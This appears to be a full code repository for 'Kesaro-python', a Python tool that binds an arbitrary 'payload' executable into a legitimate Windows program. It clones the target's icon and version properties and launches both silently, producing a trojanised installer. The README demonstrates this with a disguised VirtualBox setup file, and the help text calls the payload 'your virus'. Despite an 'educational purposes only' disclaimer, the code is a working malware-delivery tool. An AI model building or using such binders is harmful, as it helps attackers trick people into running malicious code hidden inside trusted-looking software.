├── LICENSE ├── README.md ├── main.py ├── requirements.txt └── resources ├── file_loaders └── equal.py ├── file_manager.py ├── get_help.py ├── injector.py └── properties_manager.py /LICENSE: -------------------------------------------------------------------------------- 1 | Creative Commons Legal Code 2 | 3 | Attribution-NonCommercial 3.0 Unported 4 | 5 | CREATIVE COMMONS CORPORATION IS NOT A LAW FIRM AND DOES NOT PROVIDE 6 | LEGAL SERVICES. DISTRIBUTION OF THIS LICENSE DOES NOT CREATE AN 7 | ATTORNEY-CLIENT RELATIONSHIP. CREATIVE COMMONS PROVIDES THIS 8 | INFORMATION ON AN "AS-IS" BASIS. CREATIVE COMMONS MAKES NO WARRANTIES 9 | REGARDING THE INFORMATION PROVIDED, AND DISCLAIMS LIABILITY FOR 10 | DAMAGES RESULTING FROM ITS USE. 11 | 12 | License 13 | 14 | THE WORK (AS DEFINED BELOW) IS PROVIDED UNDER THE TERMS OF THIS CREATIVE 15 | COMMONS PUBLIC LICENSE ("CCPL" OR "LICENSE"). THE WORK IS PROTECTED BY 16 | COPYRIGHT AND/OR OTHER APPLICABLE LAW. ANY USE OF THE WORK OTHER THAN AS 17 | AUTHORIZED UNDER THIS LICENSE OR COPYRIGHT LAW IS PROHIBITED. 18 | 19 | BY EXERCISING ANY RIGHTS TO THE WORK PROVIDED HERE, YOU ACCEPT AND AGREE 20 | TO BE BOUND BY THE TERMS OF THIS LICENSE. TO THE EXTENT THIS LICENSE MAY 21 | BE CONSIDERED TO BE A CONTRACT, THE LICENSOR GRANTS YOU THE RIGHTS 22 | CONTAINED HERE IN CONSIDERATION OF YOUR ACCEPTANCE OF SUCH TERMS AND 23 | CONDITIONS. 24 | 25 | 1. Definitions 26 | 27 | a. "Adaptation" means a work based upon the Work, or upon the Work and 28 | other pre-existing works, such as a translation, adaptation, 29 | derivative work, arrangement of music or other alterations of a 30 | literary or artistic work, or phonogram or performance and includes 31 | cinematographic adaptations or any other form in which the Work may be 32 | recast, transformed, or adapted including in any form recognizably 33 | derived from the original, except that a work that constitutes a 34 | Collection will not be considered an Adaptation for the purpose of 35 | this License. For the avoidance of doubt, where the Work is a musical 36 | work, performance or phonogram, the synchronization of the Work in 37 | timed-relation with a moving image ("synching") will be considered an 38 | Adaptation for the purpose of this License. 39 | b. "Collection" means a collection of literary or artistic works, such as 40 | encyclopedias and anthologies, or performances, phonograms or 41 | broadcasts, or other works or subject matter other than works listed 42 | in Section 1(f) below, which, by reason of the selection and 43 | arrangement of their contents, constitute intellectual creations, in 44 | which the Work is included in its entirety in unmodified form along 45 | with one or more other contributions, each constituting separate and 46 | independent works in themselves, which together are assembled into a 47 | collective whole. A work that constitutes a Collection will not be 48 | considered an Adaptation (as defined above) for the purposes of this 49 | License. 50 | c. "Distribute" means to make available to the public the original and 51 | copies of the Work or Adaptation, as appropriate, through sale or 52 | other transfer of ownership. 53 | d. "Licensor" means the individual, individuals, entity or entities that 54 | offer(s) the Work under the terms of this License. 55 | e. "Original Author" means, in the case of a literary or artistic work, 56 | the individual, individuals, entity or entities who created the Work 57 | or if no individual or entity can be identified, the publisher; and in 58 | addition (i) in the case of a performance the actors, singers, 59 | musicians, dancers, and other persons who act, sing, deliver, declaim, 60 | play in, interpret or otherwise perform literary or artistic works or 61 | expressions of folklore; (ii) in the case of a phonogram the producer 62 | being the person or legal entity who first fixes the sounds of a 63 | performance or other sounds; and, (iii) in the case of broadcasts, the 64 | organization that transmits the broadcast. 65 | f. "Work" means the literary and/or artistic work offered under the terms 66 | of this License including without limitation any production in the 67 | literary, scientific and artistic domain, whatever may be the mode or 68 | form of its expression including digital form, such as a book, 69 | pamphlet and other writing; a lecture, address, sermon or other work 70 | of the same nature; a dramatic or dramatico-musical work; a 71 | choreographic work or entertainment in dumb show; a musical 72 | composition with or without words; a cinematographic work to which are 73 | assimilated works expressed by a process analogous to cinematography; 74 | a work of drawing, painting, architecture, sculpture, engraving or 75 | lithography; a photographic work to which are assimilated works 76 | expressed by a process analogous to photography; a work of applied 77 | art; an illustration, map, plan, sketch or three-dimensional work 78 | relative to geography, topography, architecture or science; a 79 | performance; a broadcast; a phonogram; a compilation of data to the 80 | extent it is protected as a copyrightable work; or a work performed by 81 | a variety or circus performer to the extent it is not otherwise 82 | considered a literary or artistic work. 83 | g. "You" means an individual or entity exercising rights under this 84 | License who has not previously violated the terms of this License with 85 | respect to the Work, or who has received express permission from the 86 | Licensor to exercise rights under this License despite a previous 87 | violation. 88 | h. "Publicly Perform" means to perform public recitations of the Work and 89 | to communicate to the public those public recitations, by any means or 90 | process, including by wire or wireless means or public digital 91 | performances; to make available to the public Works in such a way that 92 | members of the public may access these Works from a place and at a 93 | place individually chosen by them; to perform the Work to the public 94 | by any means or process and the communication to the public of the 95 | performances of the Work, including by public digital performance; to 96 | broadcast and rebroadcast the Work by any means including signs, 97 | sounds or images. 98 | i. "Reproduce" means to make copies of the Work by any means including 99 | without limitation by sound or visual recordings and the right of 100 | fixation and reproducing fixations of the Work, including storage of a 101 | protected performance or phonogram in digital form or other electronic 102 | medium. 103 | 104 | 2. Fair Dealing Rights. Nothing in this License is intended to reduce, 105 | limit, or restrict any uses free from copyright or rights arising from 106 | limitations or exceptions that are provided for in connection with the 107 | copyright protection under copyright law or other applicable laws. 108 | 109 | 3. License Grant. Subject to the terms and conditions of this License, 110 | Licensor hereby grants You a worldwide, royalty-free, non-exclusive, 111 | perpetual (for the duration of the applicable copyright) license to 112 | exercise the rights in the Work as stated below: 113 | 114 | a. to Reproduce the Work, to incorporate the Work into one or more 115 | Collections, and to Reproduce the Work as incorporated in the 116 | Collections; 117 | b. to create and Reproduce Adaptations provided that any such Adaptation, 118 | including any translation in any medium, takes reasonable steps to 119 | clearly label, demarcate or otherwise identify that changes were made 120 | to the original Work. For example, a translation could be marked "The 121 | original work was translated from English to Spanish," or a 122 | modification could indicate "The original work has been modified."; 123 | c. to Distribute and Publicly Perform the Work including as incorporated 124 | in Collections; and, 125 | d. to Distribute and Publicly Perform Adaptations. 126 | 127 | The above rights may be exercised in all media and formats whether now 128 | known or hereafter devised. The above rights include the right to make 129 | such modifications as are technically necessary to exercise the rights in 130 | other media and formats. Subject to Section 8(f), all rights not expressly 131 | granted by Licensor are hereby reserved, including but not limited to the 132 | rights set forth in Section 4(d). 133 | 134 | 4. Restrictions. The license granted in Section 3 above is expressly made 135 | subject to and limited by the following restrictions: 136 | 137 | a. You may Distribute or Publicly Perform the Work only under the terms 138 | of this License. You must include a copy of, or the Uniform Resource 139 | Identifier (URI) for, this License with every copy of the Work You 140 | Distribute or Publicly Perform. You may not offer or impose any terms 141 | on the Work that restrict the terms of this License or the ability of 142 | the recipient of the Work to exercise the rights granted to that 143 | recipient under the terms of the License. You may not sublicense the 144 | Work. You must keep intact all notices that refer to this License and 145 | to the disclaimer of warranties with every copy of the Work You 146 | Distribute or Publicly Perform. When You Distribute or Publicly 147 | Perform the Work, You may not impose any effective technological 148 | measures on the Work that restrict the ability of a recipient of the 149 | Work from You to exercise the rights granted to that recipient under 150 | the terms of the License. This Section 4(a) applies to the Work as 151 | incorporated in a Collection, but this does not require the Collection 152 | apart from the Work itself to be made subject to the terms of this 153 | License. If You create a Collection, upon notice from any Licensor You 154 | must, to the extent practicable, remove from the Collection any credit 155 | as required by Section 4(c), as requested. If You create an 156 | Adaptation, upon notice from any Licensor You must, to the extent 157 | practicable, remove from the Adaptation any credit as required by 158 | Section 4(c), as requested. 159 | b. You may not exercise any of the rights granted to You in Section 3 160 | above in any manner that is primarily intended for or directed toward 161 | commercial advantage or private monetary compensation. The exchange of 162 | the Work for other copyrighted works by means of digital file-sharing 163 | or otherwise shall not be considered to be intended for or directed 164 | toward commercial advantage or private monetary compensation, provided 165 | there is no payment of any monetary compensation in connection with 166 | the exchange of copyrighted works. 167 | c. If You Distribute, or Publicly Perform the Work or any Adaptations or 168 | Collections, You must, unless a request has been made pursuant to 169 | Section 4(a), keep intact all copyright notices for the Work and 170 | provide, reasonable to the medium or means You are utilizing: (i) the 171 | name of the Original Author (or pseudonym, if applicable) if supplied, 172 | and/or if the Original Author and/or Licensor designate another party 173 | or parties (e.g., a sponsor institute, publishing entity, journal) for 174 | attribution ("Attribution Parties") in Licensor's copyright notice, 175 | terms of service or by other reasonable means, the name of such party 176 | or parties; (ii) the title of the Work if supplied; (iii) to the 177 | extent reasonably practicable, the URI, if any, that Licensor 178 | specifies to be associated with the Work, unless such URI does not 179 | refer to the copyright notice or licensing information for the Work; 180 | and, (iv) consistent with Section 3(b), in the case of an Adaptation, 181 | a credit identifying the use of the Work in the Adaptation (e.g., 182 | "French translation of the Work by Original Author," or "Screenplay 183 | based on original Work by Original Author"). The credit required by 184 | this Section 4(c) may be implemented in any reasonable manner; 185 | provided, however, that in the case of a Adaptation or Collection, at 186 | a minimum such credit will appear, if a credit for all contributing 187 | authors of the Adaptation or Collection appears, then as part of these 188 | credits and in a manner at least as prominent as the credits for the 189 | other contributing authors. For the avoidance of doubt, You may only 190 | use the credit required by this Section for the purpose of attribution 191 | in the manner set out above and, by exercising Your rights under this 192 | License, You may not implicitly or explicitly assert or imply any 193 | connection with, sponsorship or endorsement by the Original Author, 194 | Licensor and/or Attribution Parties, as appropriate, of You or Your 195 | use of the Work, without the separate, express prior written 196 | permission of the Original Author, Licensor and/or Attribution 197 | Parties. 198 | d. For the avoidance of doubt: 199 | 200 | i. Non-waivable Compulsory License Schemes. In those jurisdictions in 201 | which the right to collect royalties through any statutory or 202 | compulsory licensing scheme cannot be waived, the Licensor 203 | reserves the exclusive right to collect such royalties for any 204 | exercise by You of the rights granted under this License; 205 | ii. Waivable Compulsory License Schemes. In those jurisdictions in 206 | which the right to collect royalties through any statutory or 207 | compulsory licensing scheme can be waived, the Licensor reserves 208 | the exclusive right to collect such royalties for any exercise by 209 | You of the rights granted under this License if Your exercise of 210 | such rights is for a purpose or use which is otherwise than 211 | noncommercial as permitted under Section 4(b) and otherwise waives 212 | the right to collect royalties through any statutory or compulsory 213 | licensing scheme; and, 214 | iii. Voluntary License Schemes. The Licensor reserves the right to 215 | collect royalties, whether individually or, in the event that the 216 | Licensor is a member of a collecting society that administers 217 | voluntary licensing schemes, via that society, from any exercise 218 | by You of the rights granted under this License that is for a 219 | purpose or use which is otherwise than noncommercial as permitted 220 | under Section 4(c). 221 | e. Except as otherwise agreed in writing by the Licensor or as may be 222 | otherwise permitted by applicable law, if You Reproduce, Distribute or 223 | Publicly Perform the Work either by itself or as part of any 224 | Adaptations or Collections, You must not distort, mutilate, modify or 225 | take other derogatory action in relation to the Work which would be 226 | prejudicial to the Original Author's honor or reputation. Licensor 227 | agrees that in those jurisdictions (e.g. Japan), in which any exercise 228 | of the right granted in Section 3(b) of this License (the right to 229 | make Adaptations) would be deemed to be a distortion, mutilation, 230 | modification or other derogatory action prejudicial to the Original 231 | Author's honor and reputation, the Licensor will waive or not assert, 232 | as appropriate, this Section, to the fullest extent permitted by the 233 | applicable national law, to enable You to reasonably exercise Your 234 | right under Section 3(b) of this License (right to make Adaptations) 235 | but not otherwise. 236 | 237 | 5. Representations, Warranties and Disclaimer 238 | 239 | UNLESS OTHERWISE MUTUALLY AGREED TO BY THE PARTIES IN WRITING, LICENSOR 240 | OFFERS THE WORK AS-IS AND MAKES NO REPRESENTATIONS OR WARRANTIES OF ANY 241 | KIND CONCERNING THE WORK, EXPRESS, IMPLIED, STATUTORY OR OTHERWISE, 242 | INCLUDING, WITHOUT LIMITATION, WARRANTIES OF TITLE, MERCHANTIBILITY, 243 | FITNESS FOR A PARTICULAR PURPOSE, NONINFRINGEMENT, OR THE ABSENCE OF 244 | LATENT OR OTHER DEFECTS, ACCURACY, OR THE PRESENCE OF ABSENCE OF ERRORS, 245 | WHETHER OR NOT DISCOVERABLE. SOME JURISDICTIONS DO NOT ALLOW THE EXCLUSION 246 | OF IMPLIED WARRANTIES, SO SUCH EXCLUSION MAY NOT APPLY TO YOU. 247 | 248 | 6. Limitation on Liability. EXCEPT TO THE EXTENT REQUIRED BY APPLICABLE 249 | LAW, IN NO EVENT WILL LICENSOR BE LIABLE TO YOU ON ANY LEGAL THEORY FOR 250 | ANY SPECIAL, INCIDENTAL, CONSEQUENTIAL, PUNITIVE OR EXEMPLARY DAMAGES 251 | ARISING OUT OF THIS LICENSE OR THE USE OF THE WORK, EVEN IF LICENSOR HAS 252 | BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. 253 | 254 | 7. Termination 255 | 256 | a. This License and the rights granted hereunder will terminate 257 | automatically upon any breach by You of the terms of this License. 258 | Individuals or entities who have received Adaptations or Collections 259 | from You under this License, however, will not have their licenses 260 | terminated provided such individuals or entities remain in full 261 | compliance with those licenses. Sections 1, 2, 5, 6, 7, and 8 will 262 | survive any termination of this License. 263 | b. Subject to the above terms and conditions, the license granted here is 264 | perpetual (for the duration of the applicable copyright in the Work). 265 | Notwithstanding the above, Licensor reserves the right to release the 266 | Work under different license terms or to stop distributing the Work at 267 | any time; provided, however that any such election will not serve to 268 | withdraw this License (or any other license that has been, or is 269 | required to be, granted under the terms of this License), and this 270 | License will continue in full force and effect unless terminated as 271 | stated above. 272 | 273 | 8. Miscellaneous 274 | 275 | a. Each time You Distribute or Publicly Perform the Work or a Collection, 276 | the Licensor offers to the recipient a license to the Work on the same 277 | terms and conditions as the license granted to You under this License. 278 | b. Each time You Distribute or Publicly Perform an Adaptation, Licensor 279 | offers to the recipient a license to the original Work on the same 280 | terms and conditions as the license granted to You under this License. 281 | c. If any provision of this License is invalid or unenforceable under 282 | applicable law, it shall not affect the validity or enforceability of 283 | the remainder of the terms of this License, and without further action 284 | by the parties to this agreement, such provision shall be reformed to 285 | the minimum extent necessary to make such provision valid and 286 | enforceable. 287 | d. No term or provision of this License shall be deemed waived and no 288 | breach consented to unless such waiver or consent shall be in writing 289 | and signed by the party to be charged with such waiver or consent. 290 | e. This License constitutes the entire agreement between the parties with 291 | respect to the Work licensed here. There are no understandings, 292 | agreements or representations with respect to the Work not specified 293 | here. Licensor shall not be bound by any additional provisions that 294 | may appear in any communication from You. This License may not be 295 | modified without the mutual written agreement of the Licensor and You. 296 | f. The rights granted under, and the subject matter referenced, in this 297 | License were drafted utilizing the terminology of the Berne Convention 298 | for the Protection of Literary and Artistic Works (as amended on 299 | September 28, 1979), the Rome Convention of 1961, the WIPO Copyright 300 | Treaty of 1996, the WIPO Performances and Phonograms Treaty of 1996 301 | and the Universal Copyright Convention (as revised on July 24, 1971). 302 | These rights and subject matter take effect in the relevant 303 | jurisdiction in which the License terms are sought to be enforced 304 | according to the corresponding provisions of the implementation of 305 | those treaty provisions in the applicable national law. If the 306 | standard suite of rights granted under applicable copyright law 307 | includes additional rights not granted under this License, such 308 | additional rights are deemed to be included in the License; this 309 | License is not intended to restrict the license of any rights under 310 | applicable law. 311 | 312 | 313 | Creative Commons Notice 314 | 315 | Creative Commons is not a party to this License, and makes no warranty 316 | whatsoever in connection with the Work. Creative Commons will not be 317 | liable to You or any party on any legal theory for any damages 318 | whatsoever, including without limitation any general, special, 319 | incidental or consequential damages arising in connection to this 320 | license. Notwithstanding the foregoing two (2) sentences, if Creative 321 | Commons has expressly identified itself as the Licensor hereunder, it 322 | shall have all rights and obligations of Licensor. 323 | 324 | Except for the limited purpose of indicating to the public that the 325 | Work is licensed under the CCPL, Creative Commons does not authorize 326 | the use by either party of the trademark "Creative Commons" or any 327 | related trademark or logo of Creative Commons without the prior 328 | written consent of Creative Commons. Any permitted use will be in 329 | compliance with Creative Commons' then-current trademark usage 330 | guidelines, as may be published on its website or otherwise made 331 | available upon request from time to time. For the avoidance of doubt, 332 | this trademark restriction does not form part of the License. 333 | 334 | Creative Commons may be contacted at https://creativecommons.org/. 335 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Kesaro-python 2 | 3 | A complete software for injecting your payload to any Windows executable. 4 | 5 | # Disclaimer 6 | 7 | > Information and code provided on this repository are for educational purposes only. The creator is no way responsible for any direct or indirect damage caused due to the misusage of the information. Everything you do, you are doing at your own risk and responsibility. 8 | 9 | # Installation 10 | 11 | For now, this is Windows only software. You can install it with: 12 | ``` 13 | git clone https://github.com/mategol/kesaro-python 14 | pip install -r requirements.txt 15 | python main.py 16 | ``` 17 | 18 | # Commands 19 | 20 | `inject SOURCE > TARGET` - inject your payload (SOURCE) into any executable (TARGET)
21 | > You can use question mark (?) instead of path to make the software prompt you to manually choose desired files.
22 | > For example: inject ? > github.exe will ask you only for payload file and use specified target file. 23 | 24 |
25 | more coming soon... 26 | 27 | # Example 28 | 29 | ### I prepared simple program printing elements from "for" loop for demonstration 30 | It can be whatever payload you want to use. It's best to use executable that is running in background. 31 | 32 | 33 | 34 | ### For my target file, I will use VirtualBox Installer. Sorry Oracle... just for demonstration. 35 | It can be any executable working for Windows. 36 | 37 | 38 | 39 | ### Injecting payload 40 | 41 | Now, showtime. Execute command `inject main.exe > virtualbox.exe` and software will automatically compile files together. 42 | 43 | ### Output file 44 | 45 | I renamed output file to VBox-Setup.exe. Remember, if Windows will throw you errors on file execution, just rename it. Look, both files are executed together (packed in VBox-Setup.exe). 46 | 47 | 48 | 49 | All properties were also cloned. 50 | 51 | 52 | 53 | # ToDo 54 | ✅ Injecting payload to any executable 55 | ✅ Command Line Interface 56 | ✅ Cloning target file's properties 57 | ❌ Properties editor for fast and intuitive editing of properties 58 | ❌ Preset maker for injecting Python source code directly to target file 59 | ❌ software compatibility with Linux OS 60 | -------------------------------------------------------------------------------- /main.py: -------------------------------------------------------------------------------- 1 | from resources.injector import * 2 | from resources.file_manager import * 3 | from resources.properties_manager import * 4 | from resources.get_help import * 5 | 6 | while True: 7 | command = input('\n > ').strip() 8 | if command.count(' ') > 0: 9 | command = command.split(' ') 10 | else: 11 | command = [command] 12 | 13 | if command[0] == 'inject': 14 | if len(command) != 4: 15 | print(help('inject')) 16 | else: 17 | injected_file = get_manual_path('Injected file', '.exe') if command[1] == '?' else command[1] 18 | target_file = get_manual_path('Target file', '.exe') if command[3] == '?' else command[3] 19 | if os.path.isfile(injected_file) and os.path.isfile(target_file): 20 | properties = True if input('(Y/n) Do you want to clone all original file\'s properties? ').lower() == 'y' else False 21 | try: 22 | inject(injected_file, target_file, properties) 23 | except Exception as error: 24 | print('-\n' + str(error) + '\n-') 25 | 26 | else: 27 | print('One of provided files does not exist.') 28 | 29 | elif command[0] == 'clear': 30 | os.system('cls') -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | tk 2 | pywin32 3 | pyinstaller 4 | -------------------------------------------------------------------------------- /resources/file_loaders/equal.py: -------------------------------------------------------------------------------- 1 | injected_program_path='' 2 | original_program_path='' 3 | 4 | import sys 5 | bundle_dir = getattr(sys, '_MEIPASS', os.path.abspath(os.path.dirname(__file__))) 6 | injected_program_path = os.path.abspath(os.path.join(bundle_dir, injected_program_path)) 7 | original_program_path = os.path.abspath(os.path.join(bundle_dir, original_program_path)) 8 | 9 | import os 10 | import threading 11 | 12 | def injected_program(): 13 | os.startfile(injected_program_path) 14 | 15 | def original_program(): 16 | os.startfile(original_program_path) 17 | 18 | threading.Thread(target=injected_program).start() 19 | threading.Thread(target=original_program).start() 20 | -------------------------------------------------------------------------------- /resources/file_manager.py: -------------------------------------------------------------------------------- 1 | from shutil import copy2 2 | from tkinter import Tk, filedialog 3 | 4 | def generate_file_loader(mode): 5 | if mode == '==': 6 | copy2('resources/file_loaders/equal.py', 'temporary_files/file_loader.py') 7 | 8 | with open('temporary_files/file_loader.py', 'r') as file_loader: 9 | file_content = file_loader.readlines() 10 | file_content[0] = "injected_program_path='cached_files/inject.exe'\n" 11 | file_content[1] = "original_program_path='cached_files/target.exe'\n" 12 | 13 | with open('temporary_files/file_loader.py', 'w') as file_loader: 14 | for i in file_content: 15 | file_loader.write(i) 16 | 17 | def get_manual_path(message, extension): 18 | root = Tk() 19 | root.withdraw() 20 | root.attributes('-topmost', True) 21 | open_dir = filedialog.askopenfilename(filetypes=[(message, extension)]) 22 | root.destroy() 23 | return open_dir -------------------------------------------------------------------------------- /resources/get_help.py: -------------------------------------------------------------------------------- 1 | def help(command): 2 | return "Usage: inject payload.exe > destination.exe\n\nThe payload is your virus and the destination is the file that you are going to inject your virus into\n\n[WARNING] Keep in mind that the payload.exe and destination.exe can have any name but they can't contain spaces and they should be in this folder together with main.py (the file you just executed)" -------------------------------------------------------------------------------- /resources/injector.py: -------------------------------------------------------------------------------- 1 | import os 2 | from shutil import rmtree, copy2 3 | from resources.properties_manager import * 4 | from resources.file_manager import * 5 | 6 | def inject(file_to_inject, target_file, clone_properties): 7 | if os.path.isdir('cached_files'): 8 | rmtree('cached_files') 9 | if os.path.isdir('temporary_files'): 10 | rmtree('temporary_files') 11 | os.mkdir('cached_files') 12 | os.mkdir('temporary_files') 13 | 14 | if clone_properties: 15 | clone_file_properties(target_file) 16 | 17 | if os.path.isfile(file_to_inject) and os.path.isfile(target_file): 18 | copy2(file_to_inject, 'cached_files/inject.exe') 19 | copy2(target_file, 'cached_files/target.exe') 20 | 21 | generate_file_loader('==') 22 | 23 | pyinstaller_command = 'start cmd /k "title Building file...' + ' '*240 + '& pyinstaller -F -w ' + ('--version-file "temporary_files/version.txt" ' if clone_properties else '') + '--add-data "cached_files/inject.exe;cached_files" --add-data "cached_files/target.exe;cached_files" --icon "cached_files/target.exe" "temporary_files/file_loader.py" & pause & exit"' 24 | #pyinstaller_command = 'start cmd /k "title Building file...' + ' '*240 + '& resources\Python310\python.exe resources\Python310\Scripts\pyinstaller.exe -F -w ' + ('--version-file "temporary_files/version.txt" ' if clone_properties else '') + '--add-data "cached_files/inject.exe;cached_files" --add-data "cached_files/target.exe;cached_files" --icon "cached_files/target.exe" "temporary_files/file_loader.py" & pause & exit"' 25 | os.system(pyinstaller_command) 26 | input('Press [ENTER] when processing in new window will end: ') 27 | print('If running generated executable will produce error, just change its name') 28 | 29 | if 'file_loader.spec' in os.listdir('.'): 30 | os.system('del file_loader.spec') 31 | if '__pycache__' in os.listdir('.'): 32 | rmtree('__pycache__') 33 | if 'build' in os.listdir('.'): 34 | rmtree('build') 35 | if 'cached_files' in os.listdir('.'): 36 | rmtree('cached_files') 37 | if 'temporary_files' in os.listdir('.'): 38 | rmtree('temporary_files') 39 | 40 | output_name = target_file.replace('\\', '/').split('/')[-1][:-4] 41 | os.system('move dist\\file_loader.exe ' + output_name + '_output.exe') 42 | 43 | if 'dist' in os.listdir('.'): 44 | rmtree('dist') 45 | 46 | os.system('cls') 47 | print('File building finished.') 48 | 49 | else: 50 | print('asd') 51 | -------------------------------------------------------------------------------- /resources/properties_manager.py: -------------------------------------------------------------------------------- 1 | import win32api 2 | import os 3 | 4 | def get_file_properties(source): 5 | property_names = ('Comments', 'ProductName', 'CompanyName', 'LegalCopyright', 'OriginalFilename', 'ProductVersion', 'FileDescription', 'LegalTrademarks', 'FileVersion') 6 | properties = {'FileVersion': '', 'StringFileInfo': {'CompanyName': '', 'ProductName': '', 'ProductVersion': '', 'OriginalFilename': '', 'FileDescription': '', 'LegalCopyright': '', 'LegalTrademarks': ''}} 7 | 8 | try: 9 | fixed_info = win32api.GetFileVersionInfo(source, '\\') 10 | properties['FileVersion'] = "%d.%d.%d.%d" % (fixed_info['FileVersionMS'] / 65536, fixed_info['FileVersionMS'] % 65536, fixed_info['FileVersionLS'] / 65536, fixed_info['FileVersionLS'] % 65536) 11 | except: 12 | pass 13 | 14 | try: 15 | lang, codepage = win32api.GetFileVersionInfo(source, '\\VarFileInfo\\Translation')[0] 16 | str_info = {} 17 | for propName in property_names: 18 | str_info_path = u'\\StringFileInfo\\%04X%04X\\%s' % (lang, codepage, propName) 19 | str_info[propName] = win32api.GetFileVersionInfo(source, str_info_path) 20 | properties['StringFileInfo'] = str_info 21 | except: 22 | pass 23 | 24 | return properties 25 | 26 | def generate_version_file(file_version, company_name, product_name, product_version, original_file_name, file_description, legal_copyright, legal_trademarks): 27 | if file_version != None: 28 | file_version = ', '.join(file_version.split('.')) if file_version.count('.') > 0 else file_version 29 | 30 | version_file_content = ["VSVersionInfo(\n", 31 | " ffi=FixedFileInfo(\n", 32 | " filevers=(" + file_version + "),\n" if file_version != None else '', 33 | " mask=0x3f,\n", 34 | " flags=0x0,\n", 35 | " OS=0x4,\n", 36 | " fileType=0x1,\n", 37 | " subtype=0x0,\n", 38 | " date=(0, 0)\n", 39 | " ),\n", 40 | " kids=[\n", 41 | " StringFileInfo(\n", 42 | " [\n", 43 | " StringTable(\n", 44 | " u'040904b0',\n", 45 | ' [StringStruct(u"CompanyName", u"' + company_name + '"),\n' if company_name != None else '', 46 | ' StringStruct(u"ProductName", u"' + product_name + '"),\n' if product_name != None else '', 47 | ' StringStruct(u"ProductVersion", u"' + product_version + '"),\n' if product_version != None else '', 48 | ' StringStruct(u"OriginalFilename", u"' + original_file_name + '"),\n' if original_file_name != None else '', 49 | ' StringStruct(u"FileDescription", u"' + file_description + '"),\n' if file_description != None else '', 50 | ' StringStruct(u"LegalCopyright", u"' + legal_copyright + '"),\n' if legal_copyright != None else '', 51 | ' StringStruct(u"LegalTrademarks", u"' + legal_trademarks + '"),\n' if legal_trademarks != None else '', 52 | " ])" if [company_name, product_name, product_version, original_file_name, file_description, legal_copyright, legal_trademarks].count(None) != 7 else '', 53 | "]),\n", 54 | " VarFileInfo([VarStruct(u'Translation', [1033, 1200])])\n", 55 | " ]\n", 56 | ")"] 57 | 58 | with open('temporary_files/version.txt', 'w', encoding='utf-8') as version_file: 59 | version_file.write(''.join(version_file_content)) 60 | 61 | def clone_file_properties(source): 62 | source_properties = get_file_properties(source) 63 | 64 | file_version = source_properties['FileVersion'] 65 | company_name = source_properties['StringFileInfo']['CompanyName'] 66 | product_name = source_properties['StringFileInfo']['ProductName'] 67 | product_version = source_properties['StringFileInfo']['ProductVersion'] 68 | original_file_name = source_properties['StringFileInfo']['OriginalFilename'] 69 | file_description = source_properties['StringFileInfo']['FileDescription'] 70 | legal_copyright = source_properties['StringFileInfo']['LegalCopyright'] 71 | legal_trademarks = source_properties['StringFileInfo']['LegalTrademarks'] 72 | 73 | generate_version_file(file_version, company_name, product_name, product_version, original_file_name, file_description, legal_copyright, legal_trademarks) --------------------------------------------------------------------------------